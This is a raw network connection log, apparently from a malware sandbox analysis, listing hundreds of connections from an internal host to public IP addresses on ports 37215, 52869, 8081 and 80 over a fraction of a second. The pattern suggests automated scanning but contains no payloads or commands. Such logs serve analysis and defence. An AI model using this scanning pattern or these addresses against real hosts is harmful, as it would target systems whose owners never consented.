Jul 20, 2024 23:01:01.502367973 CEST	35252	37215	192.168.2.13	170.253.218.179
Jul 20, 2024 23:01:01.502609968 CEST	8081	41968	217.32.72.67	192.168.2.13
Jul 20, 2024 23:01:01.502646923 CEST	41968	8081	192.168.2.13	217.32.72.67
Jul 20, 2024 23:01:01.502836943 CEST	44348	52869	192.168.2.13	47.216.94.0
Jul 20, 2024 23:01:01.503741026 CEST	37436	80	192.168.2.13	88.56.164.111
Jul 20, 2024 23:01:01.503741026 CEST	37436	80	192.168.2.13	88.56.164.111
Jul 20, 2024 23:01:01.504709959 CEST	48984	8081	192.168.2.13	100.51.24.79
Jul 20, 2024 23:01:01.504709959 CEST	48984	8081	192.168.2.13	100.51.24.79
Jul 20, 2024 23:01:01.504735947 CEST	80	37580	88.150.117.231	192.168.2.13
Jul 20, 2024 23:01:01.504754066 CEST	8081	38432	13.185.79.229	192.168.2.13
Jul 20, 2024 23:01:01.505018950 CEST	80	59964	88.149.54.132	192.168.2.13
Jul 20, 2024 23:01:01.506823063 CEST	38148	80	192.168.2.13	88.56.164.111
Jul 20, 2024 23:01:01.506838083 CEST	40544	37215	192.168.2.13	197.206.115.125
Jul 20, 2024 23:01:01.507424116 CEST	8081	54362	116.20.21.221	192.168.2.13
Jul 20, 2024 23:01:01.507769108 CEST	80	60674	88.149.54.132	192.168.2.13
Jul 20, 2024 23:01:01.507839918 CEST	37215	36476	157.141.29.177	192.168.2.13
Jul 20, 2024 23:01:01.507848978 CEST	8081	55182	116.20.21.221	192.168.2.13
Jul 20, 2024 23:01:01.507884026 CEST	55182	8081	192.168.2.13	116.20.21.221
Jul 20, 2024 23:01:01.507932901 CEST	60674	80	192.168.2.13	88.149.54.132
Jul 20, 2024 23:01:01.508217096 CEST	36476	37215	192.168.2.13	157.141.29.177
Jul 20, 2024 23:01:01.508325100 CEST	49806	8081	192.168.2.13	100.51.24.79
Jul 20, 2024 23:01:01.509872913 CEST	44162	80	192.168.2.13	88.82.169.115
Jul 20, 2024 23:01:01.509872913 CEST	44162	80	192.168.2.13	88.82.169.115
Jul 20, 2024 23:01:01.511452913 CEST	40416	8081	192.168.2.13	144.158.148.160
Jul 20, 2024 23:01:01.511452913 CEST	40416	8081	192.168.2.13	144.158.148.160
Jul 20, 2024 23:01:01.512301922 CEST	52869	44348	47.216.94.0	192.168.2.13
Jul 20, 2024 23:01:01.512312889 CEST	80	37436	88.56.164.111	192.168.2.13
Jul 20, 2024 23:01:01.512331009 CEST	8081	48984	100.51.24.79	192.168.2.13
Jul 20, 2024 23:01:01.512337923 CEST	44348	52869	192.168.2.13	47.216.94.0
Jul 20, 2024 23:01:01.512533903 CEST	80	38148	88.56.164.111	192.168.2.13
Jul 20, 2024 23:01:01.512542963 CEST	37215	40544	197.206.115.125	192.168.2.13
Jul 20, 2024 23:01:01.512574911 CEST	40544	37215	192.168.2.13	197.206.115.125
Jul 20, 2024 23:01:01.512646914 CEST	38148	80	192.168.2.13	88.56.164.111
Jul 20, 2024 23:01:01.513298035 CEST	44874	80	192.168.2.13	88.82.169.115
Jul 20, 2024 23:01:01.513341904 CEST	42426	37215	192.168.2.13	157.28.17.113
Jul 20, 2024 23:01:01.513494015 CEST	49820	52869	192.168.2.13	24.166.198.46
Jul 20, 2024 23:01:01.514134884 CEST	41242	8081	192.168.2.13	144.158.148.160
Jul 20, 2024 23:01:01.514282942 CEST	8081	37736	117.177.164.2	192.168.2.13
Jul 20, 2024 23:01:01.514292955 CEST	80	51126	88.155.204.21	192.168.2.13
Jul 20, 2024 23:01:01.514309883 CEST	8081	58180	160.152.72.177	192.168.2.13
Jul 20, 2024 23:01:01.514458895 CEST	80	59174	88.9.113.163	192.168.2.13
Jul 20, 2024 23:01:01.514488935 CEST	8081	49806	100.51.24.79	192.168.2.13
Jul 20, 2024 23:01:01.514530897 CEST	49806	8081	192.168.2.13	100.51.24.79
Jul 20, 2024 23:01:01.515114069 CEST	80	44162	88.82.169.115	192.168.2.13
Jul 20, 2024 23:01:01.515497923 CEST	39922	80	192.168.2.13	88.221.77.78
Jul 20, 2024 23:01:01.515497923 CEST	39922	80	192.168.2.13	88.221.77.78
Jul 20, 2024 23:01:01.516840935 CEST	42572	8081	192.168.2.13	182.4.25.2
Jul 20, 2024 23:01:01.516840935 CEST	42572	8081	192.168.2.13	182.4.25.2
Jul 20, 2024 23:01:01.518271923 CEST	8081	40416	144.158.148.160	192.168.2.13
Jul 20, 2024 23:01:01.518389940 CEST	40636	80	192.168.2.13	88.221.77.78
Jul 20, 2024 23:01:01.518559933 CEST	41860	37215	192.168.2.13	140.242.21.87
Jul 20, 2024 23:01:01.519241095 CEST	43398	8081	192.168.2.13	182.4.25.2
Jul 20, 2024 23:01:01.520580053 CEST	80	44874	88.82.169.115	192.168.2.13
Jul 20, 2024 23:01:01.520590067 CEST	52869	49820	24.166.198.46	192.168.2.13
Jul 20, 2024 23:01:01.520607948 CEST	37215	42426	157.28.17.113	192.168.2.13
Jul 20, 2024 23:01:01.520627022 CEST	8081	41242	144.158.148.160	192.168.2.13
Jul 20, 2024 23:01:01.520627022 CEST	49820	52869	192.168.2.13	24.166.198.46
Jul 20, 2024 23:01:01.520627022 CEST	44874	80	192.168.2.13	88.82.169.115
Jul 20, 2024 23:01:01.520642996 CEST	80	39922	88.221.77.78	192.168.2.13
Jul 20, 2024 23:01:01.520651102 CEST	42426	37215	192.168.2.13	157.28.17.113
Jul 20, 2024 23:01:01.520658970 CEST	41242	8081	192.168.2.13	144.158.148.160
Jul 20, 2024 23:01:01.520659924 CEST	8081	57000	37.95.21.201	192.168.2.13
Jul 20, 2024 23:01:01.520668983 CEST	80	44628	88.244.245.204	192.168.2.13
Jul 20, 2024 23:01:01.521116018 CEST	41430	80	192.168.2.13	88.92.246.25
Jul 20, 2024 23:01:01.521116018 CEST	41430	80	192.168.2.13	88.92.246.25
Jul 20, 2024 23:01:01.521806955 CEST	8081	42572	182.4.25.2	192.168.2.13
Jul 20, 2024 23:01:01.522196054 CEST	43586	8081	192.168.2.13	86.112.206.20
Jul 20, 2024 23:01:01.522288084 CEST	43586	8081	192.168.2.13	86.112.206.20
Jul 20, 2024 23:01:01.523955107 CEST	80	40636	88.221.77.78	192.168.2.13
Jul 20, 2024 23:01:01.523998976 CEST	37215	41860	140.242.21.87	192.168.2.13
Jul 20, 2024 23:01:01.524513006 CEST	8081	43398	182.4.25.2	192.168.2.13
Jul 20, 2024 23:01:01.526227951 CEST	80	41430	88.92.246.25	192.168.2.13
Jul 20, 2024 23:01:01.527507067 CEST	8081	43586	86.112.206.20	192.168.2.13
Jul 20, 2024 23:01:01.528184891 CEST	8081	54296	179.192.54.138	192.168.2.13
Jul 20, 2024 23:01:01.528772116 CEST	8081	46960	104.121.55.224	192.168.2.13
Jul 20, 2024 23:01:01.528779984 CEST	80	45486	88.207.154.173	192.168.2.13
Jul 20, 2024 23:01:01.532902956 CEST	80	57816	88.211.132.181	192.168.2.13
Jul 20, 2024 23:01:01.533046007 CEST	37215	47232	157.38.182.214	192.168.2.13
Jul 20, 2024 23:01:01.537978888 CEST	80	39922	88.221.77.78	192.168.2.13
Jul 20, 2024 23:01:01.541208029 CEST	8081	41150	217.32.72.67	192.168.2.13
Jul 20, 2024 23:01:01.541218996 CEST	80	50134	88.191.187.105	192.168.2.13
Jul 20, 2024 23:01:01.541240931 CEST	8081	53442	172.169.195.21	192.168.2.13
Jul 20, 2024 23:01:01.546605110 CEST	47232	37215	192.168.2.13	157.38.182.214
Jul 20, 2024 23:01:01.548827887 CEST	8081	54362	116.20.21.221	192.168.2.13
Jul 20, 2024 23:01:01.548835993 CEST	80	59964	88.149.54.132	192.168.2.13
Jul 20, 2024 23:01:01.552727938 CEST	8081	48984	100.51.24.79	192.168.2.13
Jul 20, 2024 23:01:01.552736044 CEST	80	37436	88.56.164.111	192.168.2.13
Jul 20, 2024 23:01:01.557135105 CEST	80	52664	88.74.83.5	192.168.2.13
Jul 20, 2024 23:01:01.560872078 CEST	8081	40416	144.158.148.160	192.168.2.13
Jul 20, 2024 23:01:01.560983896 CEST	80	44162	88.82.169.115	192.168.2.13
Jul 20, 2024 23:01:01.563452005 CEST	40636	80	192.168.2.13	88.221.77.78
Jul 20, 2024 23:01:01.563452005 CEST	43398	8081	192.168.2.13	182.4.25.2
Jul 20, 2024 23:01:01.567153931 CEST	8081	44334	135.188.25.100	192.168.2.13
Jul 20, 2024 23:01:01.568815947 CEST	8081	42572	182.4.25.2	192.168.2.13
Jul 20, 2024 23:01:01.568831921 CEST	8081	43586	86.112.206.20	192.168.2.13
Jul 20, 2024 23:01:01.568840027 CEST	80	41430	88.92.246.25	192.168.2.13
Jul 20, 2024 23:01:01.572926044 CEST	37215	43962	197.250.181.100	192.168.2.13
Jul 20, 2024 23:01:01.574318886 CEST	37215	53848	41.170.121.130	192.168.2.13
Jul 20, 2024 23:01:01.576953888 CEST	37215	53990	197.111.92.249	192.168.2.13
Jul 20, 2024 23:01:01.578769922 CEST	43962	37215	192.168.2.13	197.250.181.100
Jul 20, 2024 23:01:01.578769922 CEST	53848	37215	192.168.2.13	41.170.121.130
Jul 20, 2024 23:01:01.580933094 CEST	8081	51782	105.250.179.123	192.168.2.13
Jul 20, 2024 23:01:01.583591938 CEST	80	34154	88.180.99.105	192.168.2.13
Jul 20, 2024 23:01:01.584424019 CEST	34154	80	192.168.2.13	88.180.99.105
Jul 20, 2024 23:01:01.584991932 CEST	8081	39150	120.212.148.136	192.168.2.13
Jul 20, 2024 23:01:01.585843086 CEST	52664	80	192.168.2.13	88.74.83.5
Jul 20, 2024 23:01:01.585843086 CEST	44334	8081	192.168.2.13	135.188.25.100
Jul 20, 2024 23:01:01.586946011 CEST	80	34652	88.194.165.251	192.168.2.13
Jul 20, 2024 23:01:01.587865114 CEST	80	43546	88.129.108.32	192.168.2.13
Jul 20, 2024 23:01:01.588524103 CEST	34652	80	192.168.2.13	88.194.165.251
Jul 20, 2024 23:01:01.588525057 CEST	39150	8081	192.168.2.13	120.212.148.136
Jul 20, 2024 23:01:01.589059114 CEST	80	59498	88.196.158.1	192.168.2.13
Jul 20, 2024 23:01:01.590210915 CEST	8081	36424	85.247.110.68	192.168.2.13
Jul 20, 2024 23:01:01.591763973 CEST	53990	37215	192.168.2.13	197.111.92.249
Jul 20, 2024 23:01:01.591890097 CEST	37215	52570	14.89.47.143	192.168.2.13
Jul 20, 2024 23:01:01.592423916 CEST	52570	37215	192.168.2.13	14.89.47.143
Jul 20, 2024 23:01:01.592423916 CEST	59498	80	192.168.2.13	88.196.158.1
Jul 20, 2024 23:01:01.597884893 CEST	8081	38300	1.190.106.28	192.168.2.13
Jul 20, 2024 23:01:01.597894907 CEST	37215	37176	41.119.197.216	192.168.2.13
Jul 20, 2024 23:01:01.598076105 CEST	52869	52830	83.59.61.36	192.168.2.13
Jul 20, 2024 23:01:01.598598003 CEST	52869	34744	72.60.254.31	192.168.2.13
Jul 20, 2024 23:01:01.599122047 CEST	80	43430	88.2.59.118	192.168.2.13
Jul 20, 2024 23:01:01.599550009 CEST	37215	36066	41.190.198.11	192.168.2.13
Jul 20, 2024 23:01:01.599694967 CEST	52869	47008	166.150.19.163	192.168.2.13
Jul 20, 2024 23:01:01.599795103 CEST	8081	57144	141.23.130.76	192.168.2.13
Jul 20, 2024 23:01:01.600451946 CEST	37176	37215	192.168.2.13	41.119.197.216
Jul 20, 2024 23:01:01.600637913 CEST	37215	57172	157.44.27.109	192.168.2.13
Jul 20, 2024 23:01:01.601089001 CEST	52869	55744	137.137.144.212	192.168.2.13
Jul 20, 2024 23:01:01.601968050 CEST	80	43862	88.212.216.208	192.168.2.13
Jul 20, 2024 23:01:01.602227926 CEST	37215	58484	157.117.186.115	192.168.2.13
Jul 20, 2024 23:01:01.602518082 CEST	8081	43502	147.230.135.122	192.168.2.13
Jul 20, 2024 23:01:01.602724075 CEST	8081	36114	119.52.87.11	192.168.2.13
Jul 20, 2024 23:01:01.603250027 CEST	36424	8081	192.168.2.13	85.247.110.68
Jul 20, 2024 23:01:01.603456020 CEST	41860	37215	192.168.2.13	140.242.21.87
Jul 20, 2024 23:01:01.603456020 CEST	54296	8081	192.168.2.13	179.192.54.138
Jul 20, 2024 23:01:01.603456020 CEST	39922	80	192.168.2.13	88.221.77.78
Jul 20, 2024 23:01:01.603584051 CEST	80	51276	88.65.22.95	192.168.2.13
Jul 20, 2024 23:01:01.603853941 CEST	80	57768	88.165.239.52	192.168.2.13
Jul 20, 2024 23:01:01.603955984 CEST	47210	52869	192.168.2.13	136.164.189.225
Jul 20, 2024 23:01:01.604402065 CEST	37215	41910	197.25.72.152	192.168.2.13
Jul 20, 2024 23:01:01.604412079 CEST	36114	8081	192.168.2.13	119.52.87.11
Jul 20, 2024 23:01:01.604413033 CEST	57768	80	192.168.2.13	88.165.239.52
Jul 20, 2024 23:01:01.604413033 CEST	43862	80	192.168.2.13	88.212.216.208
Jul 20, 2024 23:01:01.604422092 CEST	43502	8081	192.168.2.13	147.230.135.122
Jul 20, 2024 23:01:01.604468107 CEST	58484	37215	192.168.2.13	157.117.186.115
Jul 20, 2024 23:01:01.605492115 CEST	8081	45038	27.125.93.236	192.168.2.13
Jul 20, 2024 23:01:01.605772972 CEST	52869	35948	63.139.62.111	192.168.2.13
Jul 20, 2024 23:01:01.606411934 CEST	80	38398	88.73.253.215	192.168.2.13
Jul 20, 2024 23:01:01.606632948 CEST	37215	59794	157.122.210.70	192.168.2.13
Jul 20, 2024 23:01:01.607361078 CEST	8081	52240	76.141.184.226	192.168.2.13
Jul 20, 2024 23:01:01.608405113 CEST	80	58700	88.28.77.235	192.168.2.13
Jul 20, 2024 23:01:01.608417034 CEST	38398	80	192.168.2.13	88.73.253.215
Jul 20, 2024 23:01:01.608417034 CEST	35948	52869	192.168.2.13	63.139.62.111
Jul 20, 2024 23:01:01.608599901 CEST	37215	41902	197.80.112.192	192.168.2.13
Jul 20, 2024 23:01:01.611288071 CEST	52830	52869	192.168.2.13	83.59.61.36
Jul 20, 2024 23:01:01.611288071 CEST	36066	37215	192.168.2.13	41.190.198.11
Jul 20, 2024 23:01:01.611288071 CEST	57144	8081	192.168.2.13	141.23.130.76
Jul 20, 2024 23:01:01.611521959 CEST	8081	33966	18.15.144.190	192.168.2.13
Jul 20, 2024 23:01:01.611670971 CEST	52869	52282	47.21.202.187	192.168.2.13
Jul 20, 2024 23:01:01.611800909 CEST	52240	8081	192.168.2.13	76.141.184.226
Jul 20, 2024 23:01:01.612086058 CEST	80	57834	88.251.60.32	192.168.2.13
Jul 20, 2024 23:01:01.612138987 CEST	37215	38806	204.12.39.60	192.168.2.13
Jul 20, 2024 23:01:01.612457037 CEST	58700	80	192.168.2.13	88.28.77.235
Jul 20, 2024 23:01:01.612767935 CEST	8081	36148	211.23.10.210	192.168.2.13
Jul 20, 2024 23:01:01.614533901 CEST	52869	47210	136.164.189.225	192.168.2.13
Jul 20, 2024 23:01:01.615052938 CEST	51276	80	192.168.2.13	88.65.22.95
Jul 20, 2024 23:01:01.615876913 CEST	37215	37696	197.170.0.226	192.168.2.13
Jul 20, 2024 23:01:01.616417885 CEST	37696	37215	192.168.2.13	197.170.0.226
Jul 20, 2024 23:01:01.616931915 CEST	43546	80	192.168.2.13	88.129.108.32
Jul 20, 2024 23:01:01.617470980 CEST	38806	37215	192.168.2.13	204.12.39.60
Jul 20, 2024 23:01:01.617470980 CEST	47210	52869	192.168.2.13	136.164.189.225
Jul 20, 2024 23:01:01.617629051 CEST	80	39388	88.92.108.28	192.168.2.13
Jul 20, 2024 23:01:01.617831945 CEST	52869	49424	4.4.167.103	192.168.2.13
Jul 20, 2024 23:01:01.617954016 CEST	8081	44626	207.193.20.97	192.168.2.13
Jul 20, 2024 23:01:01.620409966 CEST	44626	8081	192.168.2.13	207.193.20.97
Jul 20, 2024 23:01:01.621613026 CEST	51782	8081	192.168.2.13	105.250.179.123
Jul 20, 2024 23:01:01.624414921 CEST	39388	80	192.168.2.13	88.92.108.28
Jul 20, 2024 23:01:01.629849911 CEST	55744	52869	192.168.2.13	137.137.144.212
Jul 20, 2024 23:01:01.630078077 CEST	45038	8081	192.168.2.13	27.125.93.236
Jul 20, 2024 23:01:01.630078077 CEST	41910	37215	192.168.2.13	197.25.72.152
Jul 20, 2024 23:01:01.630078077 CEST	33966	8081	192.168.2.13	18.15.144.190
Jul 20, 2024 23:01:01.630356073 CEST	52282	52869	192.168.2.13	47.21.202.187
Jul 20, 2024 23:01:01.630356073 CEST	36148	8081	192.168.2.13	211.23.10.210
Jul 20, 2024 23:01:01.632050037 CEST	47008	52869	192.168.2.13	166.150.19.163
Jul 20, 2024 23:01:01.633439064 CEST	80	57936	88.155.246.34	192.168.2.13
Jul 20, 2024 23:01:01.633449078 CEST	8081	38260	191.100.108.229	192.168.2.13
Jul 20, 2024 23:01:01.633465052 CEST	52869	37106	62.126.184.91	192.168.2.13
Jul 20, 2024 23:01:01.633470058 CEST	80	51016	88.201.141.17	192.168.2.13
Jul 20, 2024 23:01:01.633471012 CEST	37215	40674	41.156.209.55	192.168.2.13
Jul 20, 2024 23:01:01.633532047 CEST	8081	39066	79.65.232.86	192.168.2.13
Jul 20, 2024 23:01:01.634102106 CEST	52869	40936	171.117.89.236	192.168.2.13
Jul 20, 2024 23:01:01.634120941 CEST	80	57850	88.208.93.106	192.168.2.13
Jul 20, 2024 23:01:01.634129047 CEST	37215	46610	221.202.160.22	192.168.2.13
Jul 20, 2024 23:01:01.634138107 CEST	8081	47810	24.253.166.170	192.168.2.13
Jul 20, 2024 23:01:01.634275913 CEST	80	38284	88.150.117.231	192.168.2.13
Jul 20, 2024 23:01:01.634293079 CEST	37215	32842	157.204.6.4	192.168.2.13
Jul 20, 2024 23:01:01.634301901 CEST	8081	39234	13.185.79.229	192.168.2.13
Jul 20, 2024 23:01:01.634319067 CEST	52869	43568	205.130.81.109	192.168.2.13
Jul 20, 2024 23:01:01.634448051 CEST	80	51832	88.155.204.21	192.168.2.13
Jul 20, 2024 23:01:01.634465933 CEST	37215	32996	197.26.157.201	192.168.2.13
Jul 20, 2024 23:01:01.634474039 CEST	8081	38542	117.177.164.2	192.168.2.13
Jul 20, 2024 23:01:01.634515047 CEST	80	59880	88.9.113.163	192.168.2.13
Jul 20, 2024 23:01:01.634524107 CEST	37215	50010	197.215.77.6	192.168.2.13
Jul 20, 2024 23:01:01.634531975 CEST	52869	42424	170.23.175.88	192.168.2.13
Jul 20, 2024 23:01:01.634550095 CEST	8081	58988	160.152.72.177	192.168.2.13
Jul 20, 2024 23:01:01.636622906 CEST	80	45336	88.244.245.204	192.168.2.13
Jul 20, 2024 23:01:01.636651039 CEST	57172	37215	192.168.2.13	157.44.27.109
Jul 20, 2024 23:01:01.636682034 CEST	37215	38878	41.66.205.159	192.168.2.13
Jul 20, 2024 23:01:01.636698961 CEST	8081	57810	37.95.21.201	192.168.2.13
Jul 20, 2024 23:01:01.636972904 CEST	34744	52869	192.168.2.13	72.60.254.31
Jul 20, 2024 23:01:01.636972904 CEST	43430	80	192.168.2.13	88.2.59.118
Jul 20, 2024 23:01:01.636972904 CEST	38300	8081	192.168.2.13	1.190.106.28
Jul 20, 2024 23:01:01.637881994 CEST	50010	37215	192.168.2.13	197.215.77.6
Jul 20, 2024 23:01:01.637881994 CEST	46610	37215	192.168.2.13	221.202.160.22
Jul 20, 2024 23:01:01.639056921 CEST	51832	80	192.168.2.13	88.155.204.21
Jul 20, 2024 23:01:01.639117002 CEST	52869	42430	176.151.180.197	192.168.2.13
Jul 20, 2024 23:01:01.639134884 CEST	80	46196	88.207.154.173	192.168.2.13
Jul 20, 2024 23:01:01.639143944 CEST	37215	41994	25.125.187.17	192.168.2.13
Jul 20, 2024 23:01:01.639293909 CEST	59880	80	192.168.2.13	88.9.113.163
Jul 20, 2024 23:01:01.639293909 CEST	42424	52869	192.168.2.13	170.23.175.88
Jul 20, 2024 23:01:01.639293909 CEST	57850	80	192.168.2.13	88.208.93.106
Jul 20, 2024 23:01:01.639509916 CEST	43568	52869	192.168.2.13	205.130.81.109
Jul 20, 2024 23:01:01.639509916 CEST	39234	8081	192.168.2.13	13.185.79.229
Jul 20, 2024 23:01:01.639509916 CEST	37106	52869	192.168.2.13	62.126.184.91
Jul 20, 2024 23:01:01.640060902 CEST	59794	37215	192.168.2.13	157.122.210.70
Jul 20, 2024 23:01:01.640060902 CEST	57834	80	192.168.2.13	88.251.60.32
Jul 20, 2024 23:01:01.640060902 CEST	41902	37215	192.168.2.13	197.80.112.192
Jul 20, 2024 23:01:01.640635014 CEST	80	58526	88.211.132.181	192.168.2.13
Jul 20, 2024 23:01:01.640856028 CEST	32842	37215	192.168.2.13	157.204.6.4
Jul 20, 2024 23:01:01.640856028 CEST	51016	80	192.168.2.13	88.201.141.17
Jul 20, 2024 23:01:01.640856028 CEST	57936	80	192.168.2.13	88.155.246.34
Jul 20, 2024 23:01:01.641189098 CEST	32996	37215	192.168.2.13	197.26.157.201
Jul 20, 2024 23:01:01.641189098 CEST	39066	8081	192.168.2.13	79.65.232.86
Jul 20, 2024 23:01:01.642193079 CEST	40936	52869	192.168.2.13	171.117.89.236
Jul 20, 2024 23:01:01.642193079 CEST	38260	8081	192.168.2.13	191.100.108.229
Jul 20, 2024 23:01:01.644350052 CEST	37215	56938	41.101.96.17	192.168.2.13
Jul 20, 2024 23:01:01.644521952 CEST	52869	59158	164.8.255.47	192.168.2.13
Jul 20, 2024 23:01:01.645436049 CEST	8081	54258	172.169.195.21	192.168.2.13
Jul 20, 2024 23:01:01.645940065 CEST	80	50844	88.191.187.105	192.168.2.13
Jul 20, 2024 23:01:01.645948887 CEST	37215	35252	170.253.218.179	192.168.2.13
Jul 20, 2024 23:01:01.647094965 CEST	8081	41968	217.32.72.67	192.168.2.13
Jul 20, 2024 23:01:01.648189068 CEST	8081	55182	116.20.21.221	192.168.2.13
Jul 20, 2024 23:01:01.648255110 CEST	80	60674	88.149.54.132	192.168.2.13
Jul 20, 2024 23:01:01.650402069 CEST	37215	36476	157.141.29.177	192.168.2.13
Jul 20, 2024 23:01:01.650410891 CEST	52869	44348	47.216.94.0	192.168.2.13
Jul 20, 2024 23:01:01.650652885 CEST	37215	40544	197.206.115.125	192.168.2.13
Jul 20, 2024 23:01:01.650829077 CEST	80	38148	88.56.164.111	192.168.2.13
Jul 20, 2024 23:01:01.651873112 CEST	8081	49806	100.51.24.79	192.168.2.13
Jul 20, 2024 23:01:01.653361082 CEST	52869	49820	24.166.198.46	192.168.2.13
Jul 20, 2024 23:01:01.653476954 CEST	37215	42426	157.28.17.113	192.168.2.13
Jul 20, 2024 23:01:01.655894041 CEST	8081	41242	144.158.148.160	192.168.2.13
Jul 20, 2024 23:01:01.656421900 CEST	80	44874	88.82.169.115	192.168.2.13
Jul 20, 2024 23:01:01.656446934 CEST	80	40636	88.221.77.78	192.168.2.13
Jul 20, 2024 23:01:01.656502962 CEST	8081	43398	182.4.25.2	192.168.2.13
Jul 20, 2024 23:01:01.658555031 CEST	37215	41860	140.242.21.87	192.168.2.13
Jul 20, 2024 23:01:01.660132885 CEST	52869	47210	136.164.189.225	192.168.2.13
Jul 20, 2024 23:01:01.660710096 CEST	38542	8081	192.168.2.13	117.177.164.2
Jul 20, 2024 23:01:01.660710096 CEST	58988	8081	192.168.2.13	160.152.72.177
Jul 20, 2024 23:01:01.660710096 CEST	47810	8081	192.168.2.13	24.253.166.170
Jul 20, 2024 23:01:01.663347960 CEST	38284	80	192.168.2.13	88.150.117.231
Jul 20, 2024 23:01:01.664103985 CEST	49424	52869	192.168.2.13	4.4.167.103
Jul 20, 2024 23:01:01.666608095 CEST	41968	8081	192.168.2.13	217.32.72.67
Jul 20, 2024 23:01:01.675995111 CEST	42426	37215	192.168.2.13	157.28.17.113
Jul 20, 2024 23:01:01.675995111 CEST	40636	80	192.168.2.13	88.221.77.78
Jul 20, 2024 23:01:01.677537918 CEST	46196	80	192.168.2.13	88.207.154.173
Jul 20, 2024 23:01:01.677537918 CEST	38878	37215	192.168.2.13	41.66.205.159
Jul 20, 2024 23:01:01.680222988 CEST	43398	8081	192.168.2.13	182.4.25.2
Jul 20, 2024 23:01:01.681526899 CEST	60674	80	192.168.2.13	88.149.54.132
Jul 20, 2024 23:01:01.687141895 CEST	40674	37215	192.168.2.13	41.156.209.55
Jul 20, 2024 23:01:01.688992977 CEST	49806	8081	192.168.2.13	100.51.24.79
Jul 20, 2024 23:01:01.694360971 CEST	44874	80	192.168.2.13	88.82.169.115
Jul 20, 2024 23:01:01.695399046 CEST	41994	37215	192.168.2.13	25.125.187.17
Jul 20, 2024 23:01:01.695399046 CEST	45336	80	192.168.2.13	88.244.245.204
Jul 20, 2024 23:01:01.695400000 CEST	55182	8081	192.168.2.13	116.20.21.221
Jul 20, 2024 23:01:01.697444916 CEST	50844	80	192.168.2.13	88.191.187.105
Jul 20, 2024 23:01:01.700798988 CEST	57810	8081	192.168.2.13	37.95.21.201
Jul 20, 2024 23:01:01.702898026 CEST	35252	37215	192.168.2.13	170.253.218.179
Jul 20, 2024 23:01:01.705957890 CEST	41242	8081	192.168.2.13	144.158.148.160
Jul 20, 2024 23:01:01.709671974 CEST	36476	37215	192.168.2.13	157.141.29.177
Jul 20, 2024 23:01:01.715136051 CEST	80	58788	88.196.158.1	192.168.2.13
Jul 20, 2024 23:01:01.716381073 CEST	42430	52869	192.168.2.13	176.151.180.197
Jul 20, 2024 23:01:01.716381073 CEST	58526	80	192.168.2.13	88.211.132.181
Jul 20, 2024 23:01:01.720830917 CEST	54258	8081	192.168.2.13	172.169.195.21
Jul 20, 2024 23:01:01.730540037 CEST	38148	80	192.168.2.13	88.56.164.111
Jul 20, 2024 23:01:01.733105898 CEST	59158	52869	192.168.2.13	164.8.255.47
Jul 20, 2024 23:01:01.733828068 CEST	56938	37215	192.168.2.13	41.101.96.17
Jul 20, 2024 23:01:01.735966921 CEST	47210	52869	192.168.2.13	136.164.189.225
Jul 20, 2024 23:01:01.740844011 CEST	41860	37215	192.168.2.13	140.242.21.87
Jul 20, 2024 23:01:01.741041899 CEST	49820	52869	192.168.2.13	24.166.198.46
Jul 20, 2024 23:01:01.741208076 CEST	40544	37215	192.168.2.13	197.206.115.125
Jul 20, 2024 23:01:01.743913889 CEST	44348	52869	192.168.2.13	47.216.94.0
Jul 20, 2024 23:01:01.743913889 CEST	42146	80	192.168.2.13	88.92.246.25
Jul 20, 2024 23:01:01.748107910 CEST	58788	80	192.168.2.13	88.196.158.1
Jul 20, 2024 23:01:01.750741005 CEST	56702	37215	192.168.2.13	173.132.232.37
Jul 20, 2024 23:01:01.751156092 CEST	80	42146	88.92.246.25	192.168.2.13
Jul 20, 2024 23:01:01.756999969 CEST	37215	56702	173.132.232.37	192.168.2.13
Jul 20, 2024 23:01:01.757044077 CEST	56702	37215	192.168.2.13	173.132.232.37
Jul 20, 2024 23:01:01.757214069 CEST	42146	80	192.168.2.13	88.92.246.25
Jul 20, 2024 23:01:01.760899067 CEST	60902	80	192.168.2.13	88.14.202.89
Jul 20, 2024 23:01:01.760899067 CEST	60902	80	192.168.2.13	88.14.202.89
Jul 20, 2024 23:01:01.760983944 CEST	44414	8081	192.168.2.13	86.112.206.20
Jul 20, 2024 23:01:01.761714935 CEST	49106	8081	192.168.2.13	14.11.59.216
Jul 20, 2024 23:01:01.761714935 CEST	49106	8081	192.168.2.13	14.11.59.216
Jul 20, 2024 23:01:01.763533115 CEST	33386	80	192.168.2.13	88.14.202.89
Jul 20, 2024 23:01:01.763703108 CEST	42890	37215	192.168.2.13	13.152.140.36
Jul 20, 2024 23:01:01.763720036 CEST	80	42146	88.92.246.25	192.168.2.13
Jul 20, 2024 23:01:01.764431000 CEST	42146	80	192.168.2.13	88.92.246.25
Jul 20, 2024 23:01:01.764662027 CEST	49934	8081	192.168.2.13	14.11.59.216
Jul 20, 2024 23:01:01.765887022 CEST	80	60902	88.14.202.89	192.168.2.13
Jul 20, 2024 23:01:01.766346931 CEST	8081	44414	86.112.206.20	192.168.2.13
Jul 20, 2024 23:01:01.766379118 CEST	33752	80	192.168.2.13	88.124.176.110
Jul 20, 2024 23:01:01.766379118 CEST	33752	80	192.168.2.13	88.124.176.110
Jul 20, 2024 23:01:01.766403913 CEST	44414	8081	192.168.2.13	86.112.206.20
Jul 20, 2024 23:01:01.766808033 CEST	39944	52869	192.168.2.13	195.228.120.248
Jul 20, 2024 23:01:01.766966105 CEST	8081	49106	14.11.59.216	192.168.2.13
Jul 20, 2024 23:01:01.767235994 CEST	56836	8081	192.168.2.13	210.165.42.21
Jul 20, 2024 23:01:01.767235994 CEST	56836	8081	192.168.2.13	210.165.42.21
Jul 20, 2024 23:01:01.768779039 CEST	34470	80	192.168.2.13	88.124.176.110
Jul 20, 2024 23:01:01.769018888 CEST	80	33386	88.14.202.89	192.168.2.13
Jul 20, 2024 23:01:01.769030094 CEST	37215	42890	13.152.140.36	192.168.2.13
Jul 20, 2024 23:01:01.769063950 CEST	33386	80	192.168.2.13	88.14.202.89
Jul 20, 2024 23:01:01.769064903 CEST	42890	37215	192.168.2.13	13.152.140.36
Jul 20, 2024 23:01:01.769341946 CEST	54416	37215	192.168.2.13	92.31.50.53
Jul 20, 2024 23:01:01.769773960 CEST	57670	8081	192.168.2.13	210.165.42.21
Jul 20, 2024 23:01:01.769877911 CEST	8081	49934	14.11.59.216	192.168.2.13
Jul 20, 2024 23:01:01.769915104 CEST	49934	8081	192.168.2.13	14.11.59.216
Jul 20, 2024 23:01:01.771378994 CEST	80	33752	88.124.176.110	192.168.2.13
Jul 20, 2024 23:01:01.771725893 CEST	40454	80	192.168.2.13	88.26.20.160
